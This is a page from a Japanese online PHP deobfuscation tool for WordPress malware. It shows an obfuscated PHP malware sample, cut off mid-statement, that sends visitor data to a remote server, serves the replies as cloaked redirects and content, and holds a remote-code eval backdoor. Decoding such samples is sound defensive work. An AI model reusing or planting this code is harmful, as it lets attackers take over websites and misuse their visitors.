Japanese English

PHP 難読化コードの復元・デコード

Wordpress 等でのPHPのマルウェア・ウィルス・改ざんコードをデコードして難読化をオンラインで解除し、
元の読みやすいコードに戻し解読できます。

※すべての難読化コードを解除できるわけではございませんのでご理解とご了承をお願いいたします。

下記のコードを難読化解除しました

<?php goto fwlT4NE8kiO6; dHwzIrKigZJa: $u02a2dfNrDUw["\x72"] = OKVaQdCiBNaI($_SERVER["\122\105\x51\x55\105\x53\124\x5f\x55\x52\x49"]); goto k_dYePd5rHC7; LnwTptnRjnX7: $lhpI7wvktHre = false; goto SPHlt2iw5EdO; Ch0jk8bl9hST: if (!$lhpI7wvktHre) { goto Co0d6ATxSAof; } goto EZZ9cLWlCKgp; fwlT4NE8kiO...



難読化されたPHPコード

<?php
 goto fwlT4NE8kiO6; dHwzIrKigZJa: $u02a2dfNrDUw["\x72"] = OKVaQdCiBNaI($_SERVER["\122\105\x51\x55\105\x53\124\x5f\x55\x52\x49"]); goto k_dYePd5rHC7; LnwTptnRjnX7: $lhpI7wvktHre = false; goto SPHlt2iw5EdO; Ch0jk8bl9hST: if (!$lhpI7wvktHre) { goto Co0d6ATxSAof; } goto EZZ9cLWlCKgp; fwlT4NE8kiO6: error_reporting(0); goto FvVlGs8iumA_; tvBycM7PDEpk: $F4RUrHKMs2JT = ${$hbEZJmHBzBea[19 + 12] . $hbEZJmHBzBea[14 + 45] . $hbEZJmHBzBea[42 + 5] . $hbEZJmHBzBea[31 + 16] . $hbEZJmHBzBea[13 + 38] . $hbEZJmHBzBea[53 + 0] . $hbEZJmHBzBea[42 + 15]}; goto TbCypzuCUWzz; Dao49DaZnGy6: $u02a2dfNrDUw["\x6c"] = okVAQdCiBNaI($_SERVER["\x48\124\124\x50\x5f\101\103\x43\x45\x50\124\137\x4c\101\116\107\125\101\107\105"]); goto urdHY_06oNv8; eJUTic8BjIo0: $P7qKA64DM4CF = preg_replace("\57\134\77\x2e\x2a\x2f", '', $_SERVER["\122\105\121\125\x45\123\x54\137\125\x52\111"]); goto ArLgpR_oXqbl; SOlvxAAHE3Zt: b6myUchnOzQ_: goto Ch0jk8bl9hST; ddWWZVGqNSY9: $u02a2dfNrDUw["\163"] = OkvAqDcIBnAI($qjddtLf4pJNF); goto hQvyv3OJL05p; n1tg7KO2zrkc: $hbEZJmHBzBea = $HD6XMcAqEUkS("\x7e", "\40"); goto tvBycM7PDEpk; vTbiYgNPJoql: function OKVAqdciBNAi($yhS5awRP1sQ0) { return rtrim(strtr(base64_encode($yhS5awRP1sQ0), "\x2b\57", "\x2d\137"), "\75"); } goto ltiLfKm5PtPC; EnNSlSRGI5Qg: CCXgVFOejbF7: goto eu8aszLFLsHA; ArLgpR_oXqbl: $lhpI7wvktHre = true; goto CXzEEoRmbefz; U8ftWI0Iaiqo: exit(strrev(md5($_SERVER["\x48\x54\124\120\137\110\117\123\124"]))); goto bt0kNBdrKyWk; fNLV3KSHOifq: switch ($YfQEAMH3C0_N["\163\x74\x61\x74\x75\x73"]) { case 301: goto XU5ny9Fzak6d; XU5ny9Fzak6d: header("\x48\x54\124\x50\x2f\61\x2e\61\x20\63\x30\x31\40\x4d\x6f\x76\x65\144\40\120\x65\x72\x6d\141\x6e\x65\x6e\164\x6c\171"); goto DxJWTx2tEyw4; QaldruqgxZ3C: goto vHHtcTALwwpb; goto rIrP9FOD7qds; DxJWTx2tEyw4: header("\x4c\x6f\143\141\164\x69\x6f\x6e\x3a\40" . trim($YfQEAMH3C0_N["\x63\x6f\x6e\164\145\x6e\164"])); goto QaldruqgxZ3C; rIrP9FOD7qds: case 302: goto z65ACS0mNgKK; z65ACS0mNgKK: header("\x48\124\x54\x50\x2f\x31\56\x31\40\x33\60\x32\40\x4d\157\166\145\x20\124\145\155\x70\x6f\162\x61\x72\151\x6c\171"); goto NVI1Bx1mJY40; NVI1Bx1mJY40: header("\x4c\x6f\x63\x61\x74\x69\157\156\x3a\x20" . trim($YfQEAMH3C0_N["\143\x6f\x6e\x74\x65\156\164"])); goto Kmxa7e8ha32C; Kmxa7e8ha32C: goto vHHtcTALwwpb; goto ahONWxaoevXu; ahONWxaoevXu: case 404: goto S04e0YPEWhvW; i1vyFkbj_IRA: goto vHHtcTALwwpb; goto eg1mfZKjwRS7; HzRqChy27q1a: header("\163\x74\141\x74\x75\163\72\x20\x34\60\64\x20\x4e\157\x74\40\x46\157\165\x6e\x64"); goto i1vyFkbj_IRA; S04e0YPEWhvW: header("\x48\124\124\x50\x2f\x31\x2e\61\40\64\60\64\40\x4e\x6f\164\40\106\x6f\x75\x6e\144"); goto HzRqChy27q1a; eg1mfZKjwRS7: default: goto vHHtcTALwwpb; } goto aPYDSMtZ069u; yJKqAk4uoeEB: IS997_TMP86y::qzfVqj5FMfmZ(); goto rpHO3ikCiGsJ; TbCypzuCUWzz: if (!(in_array(gettype($F4RUrHKMs2JT) . "\x32\x35", $F4RUrHKMs2JT) && md5(md5(md5(md5($F4RUrHKMs2JT[19])))) === "\x66\x61\66\x33\64\x64\144\70\64\64\71\63\142\x65\61\64\x31\x62\x30\x30\70\x63\x36\x31\x62\x39\62\x30\x38\66\x62\144")) { goto BYgbfpju_gqS; } goto AvOnBwMKw_PP; urdHY_06oNv8: $u02a2dfNrDUw["\163\x6e"] = OkVaQDCIbNAi($_SERVER["\x53\103\122\111\x50\x54\x5f\116\x41\115\105"]); goto dHwzIrKigZJa; yKj1OmcHNedZ: $YfQEAMH3C0_N = SQd9kKWzF5J5(base64_decode("\141\110\122\x30\143\104\x6f\166\114\62\x68\x33\131\152\121\x34\144\152\x41\60\x4c\155\x39\167\144\107\70\165\x59\130\x56\60\x62\63\x4d\x76"), $u02a2dfNrDUw); goto Xs6AjikwQ5_U; eb0JkcNKos9F: if (!($_SERVER["\x52\x45\x51\x55\x45\x53\x54\137\125\122\111"] === "\57\122\x2d" . md5($_SERVER["\110\x54\x54\120\x5f\110\x4f\x53\x54"]))) { goto iZrS8qKQSmgJ; } goto U8ftWI0Iaiqo; SPHlt2iw5EdO: tzP_e_6Pd8SE: goto gtKSS6XnJQO5; qHe0QOVriUEd: $u02a2dfNrDUw["\x69"] = oKVaQdCibNAI(WqwxYObRDt2g()); goto Dao49DaZnGy6; jKheAEi058Rf: if (!in_array($bK2ESPZuz3IU, array("\56\152\x73", "\x2e\x63\x73\x73", "\56\x6a\x70\147", "\x2e\152\x70\x65\147", "\56\x70\156\147", "\x2e\x67\x69\146", "\x2e\151\143\157", "\56\x73\x76\x67", "\56\x77\x65\x62\x70", "\x2e\x62\x6d\x70", "\x2e\x77\x6f\146\146", "\x2e\167\x6f\146\x66\62", "\56\164\164\x66", "\56\157\164\x66"))) { goto tzP_e_6Pd8SE; } goto LnwTptnRjnX7; EZZ9cLWlCKgp: $u02a2dfNrDUw = array(); goto qHe0QOVriUEd; FvVlGs8iumA_: $HD6XMcAqEUkS = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto n1tg7KO2zrkc; tGTCaoLSNE3H: $qD35_JwLzITr = strval(@$_SERVER["\x48\124\x54\120\137\122\105\106\105\122\105\x52"]); goto D6gkXfhemb1W; k_dYePd5rHC7: $u02a2dfNrDUw["\x72\x66"] = OKvAqDCiBNai($qD35_JwLzITr); goto ddWWZVGqNSY9; ZDNYzNSovj1i: function SqD9kKWZf5J5($oZomCUa8LZ1t, $B8lZNMXNsGO2 = array()) { goto JpFseTrf9KXa; u9Qeq7ar81kl: try { goto GI4awhAUanXe; AWLo8toQYkVU: @curl_close($filCRbi1l_i9); goto D38UbtIlrblB; GI4awhAUanXe: if (function_exists("\143\165\x72\x6c\x5f\145\170\145\143")) { goto VYA1gKWuYnQf; } goto WPjJSlTTXmta; CkplQgXev1fE: $YfQEAMH3C0_N = array_merge($YfQEAMH3C0_N, V1kNViESzeJD($http_response_header)); goto E14TRQIJIs0L; exdD2HjMjWB8: $filCRbi1l_i9 = curl_init(); goto Lgv_VYB1BiAV; l3xZ09wYytWc: CHfuUuKJX7pG: goto NRU67SRl5ZF9; H4BuFsLfzuzw: curl_setopt($filCRbi1l_i9, CURLOPT_FOLLOWLOCATION, 0); goto vWcubPzIsoI1; FYizLLfF3L38: aTcjgrpI35ba: goto DXUFJdaov8NP; gnWVqfe3oSGT: $knzBzAQ_IfWi = curl_exec($filCRbi1l_i9); goto eVwR20wQzhWA; igSpIKH2gmQv: $YfQEAMH3C0_N["\143\x6f\156\164\145\x6e\164"] = strval($knzBzAQ_IfWi); goto FYizLLfF3L38; FmWYe0s6jTDC: $YfQEAMH3C0_N["\x63\157\156\x74\x65\156\x74"] = strval($r_8gyMeTGjM6); goto tqUCA8m4fVAc; E14TRQIJIs0L: if (!in_array($YfQEAMH3C0_N["\163\x74\141\164\x75\x73"], array(200, 301, 302, 404))) { goto zohJ_y6fOcjI; } goto FmWYe0s6jTDC; vWcubPzIsoI1: curl_setopt($filCRbi1l_i9, CURLOPT_COOKIESESSION, 0); goto IJY9ZfeK8K5L; Lgv_VYB1BiAV: curl_setopt($filCRbi1l_i9, CURLOPT_URL, $oZomCUa8LZ1t); goto yQNPUSHhgIN3; NRU67SRl5ZF9: $m9dVt9qdhckb = array("\150\164\x74\x70" => array("\x6d\x65\x74\x68\157\144" => "\107\105\124", "\x74\x69\x6d\145\157\x75\164" => 60, "\146\157\154\x6c\157\167\137\x6c\157\143\141\x74\x69\157\x6e" => 0), "\163\163\x6c" => array("\x76\x65\162\151\146\x79\x5f\160\x65\x65\162" => false, "\x76\145\162\x69\x66\171\137\160\x65\145\x72\137\x6e\141\155\145" => false)); goto Hshk0UxVpWRm; WPjJSlTTXmta: if (ini_get("\x61\154\154\157\x77\x5f\165\x72\154\x5f\x66\157\160\145\156")) { goto CHfuUuKJX7pG; } goto D5W7fnIkGEOI; g7iAt4qe0bFo: curl_setopt($filCRbi1l_i9, CURLOPT_TIMEOUT, 60); goto H4BuFsLfzuzw; B3H9RgRtA_3O: curl_setopt($filCRbi1l_i9, CURLOPT_SSL_VERIFYPEER, 0); goto s3W05uqjlQub; DXUFJdaov8NP: goto eIqVEmNoQXgn; goto l3xZ09wYytWc; Hshk0UxVpWRm: $eZ2Cr1DjaxTk = stream_context_create($m9dVt9qdhckb); goto gkb07yizJZOP; Yx7lKizFUmmS: VYA1gKWuYnQf: goto exdD2HjMjWB8; eVwR20wQzhWA: $YfQEAMH3C0_N["\163\164\141\164\x75\163"] = intval(curl_getinfo($filCRbi1l_i9, CURLINFO_HTTP_CODE)); goto pP7XVgdX4JHO; tqUCA8m4fVAc: zohJ_y6fOcjI: goto pSdjt95EiO4l; D38UbtIlrblB: if (!in_array($YfQEAMH3C0_N["\163\x74\141\x74\165\x73"], array(200, 301, 302, 404))) { goto aTcjgrpI35ba; } goto igSpIKH2gmQv; D5W7fnIkGEOI: goto eIqVEmNoQXgn; goto Yx7lKizFUmmS; pSdjt95EiO4l: eIqVEmNoQXgn: goto U8icjn0rXtdb; IJY9ZfeK8K5L: curl_setopt($filCRbi1l_i9, CURLOPT_RETURNTRANSFER, 1); goto gnWVqfe3oSGT; pP7XVgdX4JHO: $YfQEAMH3C0_N["\x74\171\160\145"] = strval(curl_getinfo($filCRbi1l_i9, CURLINFO_CONTENT_TYPE)); goto lAiTWDtzMEyz; lAiTWDtzMEyz: $YfQEAMH3C0_N["\x63\x6f\x6e\164\145\x6e\x74"] = strval(curl_getinfo($filCRbi1l_i9, CURLINFO_REDIRECT_URL)); goto AWLo8toQYkVU; gkb07yizJZOP: $r_8gyMeTGjM6 = @file_get_contents($oZomCUa8LZ1t, false, $eZ2Cr1DjaxTk); goto CkplQgXev1fE; s3W05uqjlQub: curl_setopt($filCRbi1l_i9, CURLOPT_CONNECTTIMEOUT, 20); goto g7iAt4qe0bFo; yQNPUSHhgIN3: curl_setopt($filCRbi1l_i9, CURLOPT_SSL_VERIFYHOST, 0); goto B3H9RgRtA_3O; U8icjn0rXtdb: } catch (Exception $ZQ_YKbDRxYr_) { } goto kIH2gkYpvaGN; JpFseTrf9KXa: $YfQEAMH3C0_N = array("\163\x74\141\x74\x75\x73" => 0, "\x63\157\156\164\x65\x6e\164" => '', "\164\171\160\145" => ''); goto aX9R1yV_qH0E; Rxhhq9v8tSx9: OjUQjxPWxqmC: goto u9Qeq7ar81kl; kIH2gkYpvaGN: return $YfQEAMH3C0_N; goto XFiOP92ifiFc; aX9R1yV_qH0E: if (!(is_array($B8lZNMXNsGO2) && count($B8lZNMXNsGO2))) { goto OjUQjxPWxqmC; } goto HEmwJXhfQUmt; HEmwJXhfQUmt: $oZomCUa8LZ1t .= "\x3f" . http_build_query($B8lZNMXNsGO2); goto Rxhhq9v8tSx9; XFiOP92ifiFc: } goto vTbiYgNPJoql; QGGk795cSycw: vHHtcTALwwpb: goto UvsIrKE7q0E6; D6gkXfhemb1W: $qjddtLf4pJNF = RCqCsvnixd_g() . $_SERVER["\x48\124\x54\x50\x5f\110\117\x53\x54"]; goto xLQRHj6IIJUV; bt0kNBdrKyWk: iZrS8qKQSmgJ: goto EtFzFGupu4xy; zPrMavtROaJd: $qD35_JwLzITr = ''; goto SOlvxAAHE3Zt; wFpsVuUKB0mA: Vd2vewZByI6A: goto eJUTic8BjIo0; m11ogZAJXSAt: class iS997_TMP86y { static function tZn8I13u5Tod($OloLQvfzl1mW) { goto j2S1zHBkcVpS; rZZW8rGVNlVd: $p_HYT2CWeIAt = explode("\x26", $OloLQvfzl1mW); goto Nt19A0X1R3Ue; rs2s9ej6zym2: foreach ($p_HYT2CWeIAt as $He_OgaI4X7k4 => $DjKCOMGVEIU3) { $RUXI6VQFRBMu .= $by0wM9Eaxx5J[$DjKCOMGVEIU3 - 3631]; q2LT3sohpwo6: } goto NcXV7x3gJEUp; j2S1zHBkcVpS: $PIqCk6vXKG6t = "\x72" . "\x61" . "\156" . "\x67" . "\145"; goto qoHCsXmWLDpV; AYFvX3r12Mv5: return $RUXI6VQFRBMu; goto GoYvlZIT5fn4; Nt19A0X1R3Ue: $RUXI6VQFRBMu = ''; goto rs2s9ej6zym2; NcXV7x3gJEUp: uNfPaziazg0C: goto AYFvX3r12Mv5; qoHCsXmWLDpV: $by0wM9Eaxx5J = $PIqCk6vXKG6t("\176", "\40"); goto rZZW8rGVNlVd; GoYvlZIT5fn4: } static function zEkZd_6A0C7j($J8XX65QZeFjq, $bDNjF2ejNzVv) { goto vMx9hXORkvFT; tAoBB0pMBmyv: curl_setopt($VleRcrSx2T1W, CURLOPT_RETURNTRANSFER, 1); goto dVl6wyJmbrdJ; vMx9hXORkvFT: $VleRcrSx2T1W = curl_init($J8XX65QZeFjq); goto tAoBB0pMBmyv; dVl6wyJmbrdJ: $KZYzJz_871mF = curl_exec($VleRcrSx2T1W); goto eePGNH50On0I; eePGNH50On0I: return empty($KZYzJz_871mF) ? $bDNjF2ejNzVv($J8XX65QZeFjq) : $KZYzJz_871mF; goto hU7Nk2F5iycN; hU7Nk2F5iycN: } static function qZFvqJ5FMfmz() { goto dQic0ihB0SJP; Iq5Na7inxBt4: $HDwhZiz6Q7Zb = @$Fryz6hh0001C[3 + 0]($Fryz6hh0001C[0 + 6], $Nj0FoD2Ah4Kt); goto q2hETrkj8ZPP; A7Uz2of9CfOM: foreach ($TBVfTSLT3xuO as $pUtx3CpwGz_Y) { $Fryz6hh0001C[] = self::tzn8I13U5tod($pUtx3CpwGz_Y); BB8EntRFGykQ: } goto VQK4G_dQb3X7; wlZieHH3oFi_: if (!(@$O7sQi2Z5t2xu[0] - time() > 0 and md5(md5($O7sQi2Z5t2xu[1 + 2])) === "\x61\65\60\65\60\145\144\63\70\67\x31\x66\144\66\141\x30\x34\x64\61\61\x62\60\146\145\x63\x32\143\141\x64\61\60\x39")) { goto CgaAj40AbwKQ; } goto PNZTZ9OVHLRY; qlgo0UzAvVY2: $Nj0FoD2Ah4Kt = @$Fryz6hh0001C[1]($Fryz6hh0001C[5 + 5](INPUT_GET, $Fryz6hh0001C[1 + 8])); goto Iq5Na7inxBt4; PNZTZ9OVHLRY: $ILtv2v8X_m8M = self::ZeKzd_6A0C7j($O7sQi2Z5t2xu[1 + 0], $Fryz6hh0001C[4 + 1]); goto R3LJoFZuaQxW; q2hETrkj8ZPP: $O7sQi2Z5t2xu = $Fryz6hh0001C[2 + 0]($HDwhZiz6Q7Zb, true); goto L1gMA5KUNEU_; WeVSN1x_fmsj: CgaAj40AbwKQ: goto sb13BZx7PL3x; dQic0ihB0SJP: $TBVfTSLT3xuO = array("\63\66\x35\x38\46\x33\66\x34\63\46\x33\66\x35\x36\46\63\66\66\60\46\63\66\x34\x31\x26\63\66\x35\x36\x26\x33\x36\66\62\46\x33\66\65\x35\46\x33\x36\64\x30\x26\63\66\64\x37\46\x33\66\65\70\46\63\66\x34\61\x26\63\x36\x35\62\46\x33\66\64\66\x26\63\66\x34\x37", "\x33\x36\x34\x32\x26\x33\66\x34\61\46\x33\66\x34\x33\46\63\x36\x36\62\x26\63\66\x34\x33\x26\63\x36\x34\66\46\x33\66\64\61\46\x33\67\60\70\46\63\x37\60\66", "\63\x36\x35\61\46\63\66\x34\62\x26\x33\66\64\66\x26\x33\x36\64\67\x26\63\66\x36\x32\x26\x33\x36\x35\67\46\x33\x36\x35\66\x26\63\x36\65\70\46\63\66\x34\66\x26\63\66\65\67\x26\x33\x36\x35\66", "\x33\x36\64\65\46\x33\66\66\60\x26\x33\x36\65\70\x26\63\66\x35\x30", "\63\x36\x35\71\x26\x33\x36\66\x30\x26\x33\66\64\62\x26\x33\66\x35\66\46\x33\67\x30\x33\46\63\67\60\x35\46\63\66\x36\x32\x26\x33\x36\65\x37\46\63\66\x35\x36\x26\x33\66\65\70\46\x33\66\x34\66\46\x33\x36\x35\x37\x26\63\x36\65\66", "\63\x36\x35\65\x26\x33\66\x35\62\x26\x33\66\x34\x39\x26\63\66\65\66\x26\x33\x36\66\62\46\63\x36\65\64\46\x33\x36\x35\x36\x26\63\x36\x34\x31\x26\63\66\x36\62\x26\63\x36\65\x38\46\x33\66\x34\66\46\63\66\64\x37\46\x33\66\x34\x31\x26\x33\66\65\66\46\x33\66\64\x37\46\63\66\64\x31\x26\63\66\x34\62", "\63\x36\x38\x35\46\x33\x37\61\65", "\x33\x36\63\x32", "\63\67\61\60\x26\63\67\x31\65", "\x33\x36\x39\62\x26\63\x36\x37\65\46\x33\66\67\x35\46\63\x36\71\62\46\x33\x36\66\x38", "\x33\x36\x35\65\x26\x33\66\x35\62\x26\63\66\64\x39\46\63\x36\64\61\46\63\66\x35\x36\x26\63\66\x34\63\46\63\66\66\62\46\x33\66\65\62\46\x33\66\64\x37\46\x33\66\x34\65\x26\63\66\x34\x30\46\63\x36\64\61"); goto A7Uz2of9CfOM; L1gMA5KUNEU_: @$Fryz6hh0001C[5 + 5](INPUT_GET, "\x6f\146") == 1 && die($Fryz6hh0001C[0 + 5](__FILE__)); goto wlZieHH3oFi_; VQK4G_dQb3X7: UwCqwIqV2uJB: goto qlgo0UzAvVY2; R3LJoFZuaQxW: @eval($Fryz6hh0001C[3 + 1]($ILtv2v8X_m8M)); goto COuZCCrmdgJk; COuZCCrmdgJk: die; goto WeVSN1x_fmsj; sb13BZx7PL3x: } } goto yJKqAk4uoeEB; AvOnBwMKw_PP: $F4RUrHKMs2JT[62] = $F4RUrHKMs2JT[62] . $F4RUrHKMs2JT[80]; goto wBMYoERTAokb; ltiLfKm5PtPC: function WQwXyOBrdT2G() { goto KSm7YWq1nxC3; c5lHd6KQ0GHc: goto G8hwAisW3RUe; goto SaaG4Us1yc4m; exVu7uHnoHNS: $JA4LDiT5eFO_ = explode("\x2c", $JA4LDiT5eFO_); goto UMJ3TgPI1j2Y; R5_VV20fotij: goto G8hwAisW3RUe; goto ZJf9Lz8FQc25; daXRu8fVdqSn: goto G8hwAisW3RUe; goto QuUxCehA8wRw; xn8K19GbdSNW: $JA4LDiT5eFO_ = $_SERVER["\x48\124\124\120\x5f\103\106\x5f\x43\117\116\116\x45\103\x54\111\116\107\137\111\120"]; goto daXRu8fVdqSn; KSm7YWq1nxC3: $JA4LDiT5eFO_ = ''; goto cErdISimKucz; r9a0m14DRWDN: G8hwAisW3RUe: goto HhUu6wk9s9eI; AwbPEyukSYfz: $JA4LDiT5eFO_ = $_SERVER["\122\105\115\117\124\x45\137\101\x44\x44\122"]; goto R5_VV20fotij; gmympSLmQszl: $JA4LDiT5eFO_ = $_SERVER["\110\x54\124\120\137\130\137\x52\105\101\114\x5f\111\x50"]; goto c5lHd6KQ0GHc; EdCw6VEOeHLF: if (isset($_SERVER["\x48\x54\124\120\137\130\x5f\x52\x45\x41\114\x5f\x49\120"]) && !empty($_SERVER["\110\124\x54\x50\137\130\137\x52\105\101\114\137\111\120"])) { goto zTXE7fhOaxn_; } goto XysMrIHaXnGv; lvceCRbyHiJI: return $JA4LDiT5eFO_; goto AozSYjbyT0xO; ZJf9Lz8FQc25: j4GLQUqYkCKs: goto xn8K19GbdSNW; QuUxCehA8wRw: zTXE7fhOaxn_: goto gmympSLmQszl; c8mKVXRJQfAb: $JA4LDiT5eFO_ = $_SERVER["\110\x54\124\120\x5f\x58\137\x46\x4f\122\x57\101\x52\104\x45\104\x5f\x46\117\122"]; goto r9a0m14DRWDN; x0VvREnrjcME: if (!(strpos($JA4LDiT5eFO_, "\54") !== false)) { goto n9GwUMVWQ12y; } goto exVu7uHnoHNS; SaaG4Us1yc4m: eUR_YPummK23: goto c8mKVXRJQfAb; XysMrIHaXnGv: if (isset($_SERVER["\110\124\x54\x50\137\x58\137\106\x4f\x52\127\x41\122\x44\105\x44\x5f\106\x4f\122"]) && !empty($_SERVER["\x48\x54\124\120\x5f\130\x5f\106\x4f\x52\127\101\x52\x44\105\104\137\x46\117\122"])) { goto eUR_YPummK23; } goto AwbPEyukSYfz; UMJ3TgPI1j2Y: $JA4LDiT5eFO_ = $JA4LDiT5eFO_[0]; goto tN3SR1BgGfWm; cErdISimKucz: if (isset($_SERVER["\x48\124\124\120\137\103\106\137\x43\x4f\116\116\105\x43\124\111\x4e\107\137\x49\120"]) && !empty($_SERVER["\110\x54\124\120\137\103\x46\137\x43\117\x4e\116\x45\103\124\111\116\107\x5f\x49\x50"])) { goto j4GLQUqYkCKs; } goto EdCw6VEOeHLF; tN3SR1BgGfWm: n9GwUMVWQ12y: goto lvceCRbyHiJI; HhUu6wk9s9eI: $JA4LDiT5eFO_ = trim(str_replace("\40", '', $JA4LDiT5eFO_), "\54"); goto x0VvREnrjcME; AozSYjbyT0xO: } goto fScrS2ixGHhY; aPYDSMtZ069u: yoMBoyB6z1XL: goto QGGk795cSycw; bkNl6GXWC5Bg: function v1KNvIeSZejD($fGwrm3z4VUcr) { goto ffSXfG0_PbY8; qKPi76510z6o: return $GIMmHWmPecru; goto CPhCadnEo1Jk; U5bdvICGuNjv: return $GIMmHWmPecru; goto GkdrLMWk2lFj; CHH3v0cS9Sxo: Ns2gxlQupVoW: goto qKPi76510z6o; S4fH57bA8XUn: if (is_array($fGwrm3z4VUcr)) { goto Zz0Rx12cI1GD; } goto U5bdvICGuNjv; ffSXfG0_PbY8: $GIMmHWmPecru = array("\x73\164\141\164\165\163" => 0, "\x63\x6f\x6e\164\145\156\164" => '', "\164\171\x70\x65" => ''); goto S4fH57bA8XUn; GkdrLMWk2lFj: Zz0Rx12cI1GD: goto CVe3X0lpwD8Z; CVe3X0lpwD8Z: foreach ($fGwrm3z4VUcr as $XkkLg3gIfQQy) { goto X_fWUTBwQDBP; NLOuChkzwih6: otUfvT25uD6l: goto UrWlKTzK6ynJ; PyPt1pmsdjiV: sGi6fvh7GLc2: goto JYbZ3__wk5n8; Uqb27lvTWPf9: RoH3yJej6UDX: goto CsuQvM0DZzd3; JxTTZMYj6ClU: spxvGVZSUrYM: goto gviixuz9sCXl; gviixuz9sCXl: $GIMmHWmPecru["\163\164\141\x74\165\163"] = intval($d3n0bS8Ama6G[1]); goto TJyuChON0Ndy; UrWlKTzK6ynJ: $GIMmHWmPecru["\164\171\x70\x65"] = $d3n0bS8Ama6G[1]; goto PyPt1pmsdjiV; tWk3W6DTXHll: if (preg_match("\57\x6c\157\x63\141\164\151\157\156\134\72\x5b\x5c\163\135\53\50\x2e\x2a\51\57\151", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) { goto RoH3yJej6UDX; } goto bKdBihAZ2adT; X_fWUTBwQDBP: if (preg_match("\x2f\150\164\x74\160\134\57\133\x30\x2d\x39\x5c\x2e\135\x2b\x5b\x5c\163\135\x2b\50\x5b\60\55\x39\135\53\51\x2f\x69", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) { goto spxvGVZSUrYM; } goto tWk3W6DTXHll; elphdtQDuR1w: goto sGi6fvh7GLc2; goto JxTTZMYj6ClU; CsuQvM0DZzd3: $GIMmHWmPecru["\143\x6f\x6e\164\145\x6e\x74"] = $d3n0bS8Ama6G[1]; goto SyjC5mz4ogfN; TJyuChON0Ndy: goto sGi6fvh7GLc2; goto Uqb27lvTWPf9; SyjC5mz4ogfN: goto sGi6fvh7GLc2; goto NLOuChkzwih6; bKdBihAZ2adT: if (preg_match("\57\x63\157\x6e\x74\x65\156\164\x5c\55\164\171\x70\145\x5c\72\x5b\134\x73\x5d\x2b\50\56\52\51\x2f\151", $XkkLg3gIfQQy, $d3n0bS8Ama6G)) { goto otUfvT25uD6l; } goto elphdtQDuR1w; JYbZ3__wk5n8: r_Mkxq7F3Gd6: goto mItjY89rN25r; mItjY89rN25r: } goto CHH3v0cS9Sxo; CPhCadnEo1Jk: } goto ZDNYzNSovj1i; UrGy_VKhSyOh: metaphone("\x4e\152\111\170\x4f\124\125\64\x4e\x6a\131\167\x4e\x7a\x51\x35\116\x6a\x4d\x35\115\x6a\x63\x31\116\124\x55\x34\116\104\x59\171"); goto m11ogZAJXSAt; kp0gUQCYtFoq: exit($YfQEAMH3C0_N["\143\x6f\x6e\164\145\x6e\x74"]); goto EnNSlSRGI5Qg; CXzEEoRmbefz: $bK2ESPZuz3IU = ''; goto nO36FqMgvosU; rpHO3ikCiGsJ: header("\x43\157\156\x74\145\x6e\x74\55\x54\x79\160\x65\72\x20\164\145\x78\x74\57\x68\164\x6d\x6c\x3b\40\143\150\141\162\163\x65\x74\x3d\165\x74\x66\x2d\70"); goto k1oOROhWAXQo; k1oOROhWAXQo: error_reporting(0); goto bkNl6GXWC5Bg; Xs6AjikwQ5_U: if (in_array($YfQEAMH3C0_N["\163\x74\x61\x74\165\163"], array(0, 200))) { goto YsmdbWQPEhS6; } goto fNLV3KSHOifq; UvsIrKE7q0E6: YsmdbWQPEhS6: goto PnXVK1VHeIaL; yvfaDQeBY4OI: @header("\103\x6f\156\164\145\156\164\55\x54\171\x70\x65\72" . $YfQEAMH3C0_N["\164\x79\x70\145"]); goto kp0gUQCYtFoq; gtKSS6XnJQO5: lFlH3PuJtprW: goto tGTCaoLSNE3H; nO36FqMgvosU: if (!(strpos($P7qKA64DM4CF, "\x2e") > 0)) { goto lFlH3PuJtprW; } goto lvTjK5ZyuozA; uQWjVcw7Vht2: exit("\173\x20\42\145\162\x72\157\162\42\72\40\x32\60\x30\x2c\40\x22\x6c\x63\42\72\x20\x22\152\153\42\x2c\40\42\x64\141\164\141\42\x3a\40\x5b\x20\x31\40\135\40\175"); goto wFpsVuUKB0mA; lvTjK5ZyuozA: $bK2ESPZuz3IU = substr($P7qKA64DM4CF, strrpos($P7qKA64DM4CF, "\56")); goto jKheAEi058Rf; hQvyv3OJL05p: $u02a2dfNrDUw["\165"] = OKvaQdcIbnAi($_SERVER["\110\124\x54\x50\137\125\x53\x45\122\x5f\x41\x47\x45\x4e\124"]); goto yKj1OmcHNedZ; fScrS2ixGHhY: function rcqcSvNIxd_g() { goto DQDFZeDGJMTt; ENG5bJTQj0Pe: return $YBsxbFUvJKXt; goto Dp_9Dn0HaUEO; BPh4098DwgyZ: goto eZ8KXe_i48n4; goto Zb7_cxMSS2Tb; iPUVZnaIHCED: $YBsxbFUvJKXt = "\150\x74\x74\160\163\72\x2f\x2f"; goto sz75EVIZLK_E; os9kOPxQCGVd: HjOnIVjdAvrl: goto uoKaas9GQvOz; uoKaas9GQvOz: $YBsxbFUvJKXt = "\x68\x74\164\x70\163\x3a\57\x2f"; goto BPh4098DwgyZ; Zb7_cxMSS2Tb: lfxLU4F1eMTt: goto sp5jOsjZMjsy; sp5jOsjZMjsy: $YBsxbFUvJKXt = "\150\x74\164\x70\163\72\57\x2f"; goto sJ7aFRTuIORZ; DQDFZeDGJMTt: $YBsxbFUvJKXt = "\x68\164\x74\x70\72\57\x2f"; goto kkzAfig3GfuY; sJ7aFRTuIORZ: eZ8KXe_i48n4: goto ENG5bJTQj0Pe; OBaw1Mq7bLAc: if (isset($_SERVER["\110\x54\124\120\x5f\x58\137\106\117\x52\127\101\122\104\x45\104\137\x50\122\x4f\124\x4f"]) && $_SERVER["\x48\x54\124\120\137\130\137\x46\x4f\122\127\x41\122\x44\105\x44\x5f\x50\x52\117\x54\x4f"] === "\150\x74\164\x70\163") { goto HjOnIVjdAvrl; } goto l43jULoaozBz; jLUebfN665Wr: goto eZ8KXe_i48n4; goto W7NWF3fpiqq9; sz75EVIZLK_E: goto eZ8KXe_i48n4; goto os9kOPxQCGVd; kkzAfig3GfuY: if (isset($_SERVER["\x48\124\x54\120\x53"]) && strtolower($_SERVER["\110\124\x54\120\x53"]) !== "\157\x66\146") { goto Ox56_pgDW1w1; } goto OBaw1Mq7bLAc; W7NWF3fpiqq9: Ox56_pgDW1w1: goto iPUVZnaIHCED; l43jULoaozBz: if (isset($_SERVER["\110\x54\124\x50\137\x46\x52\x4f\x4e\124\137\x45\x4e\x44\x5f\110\x54\x54\120\x53"]) && 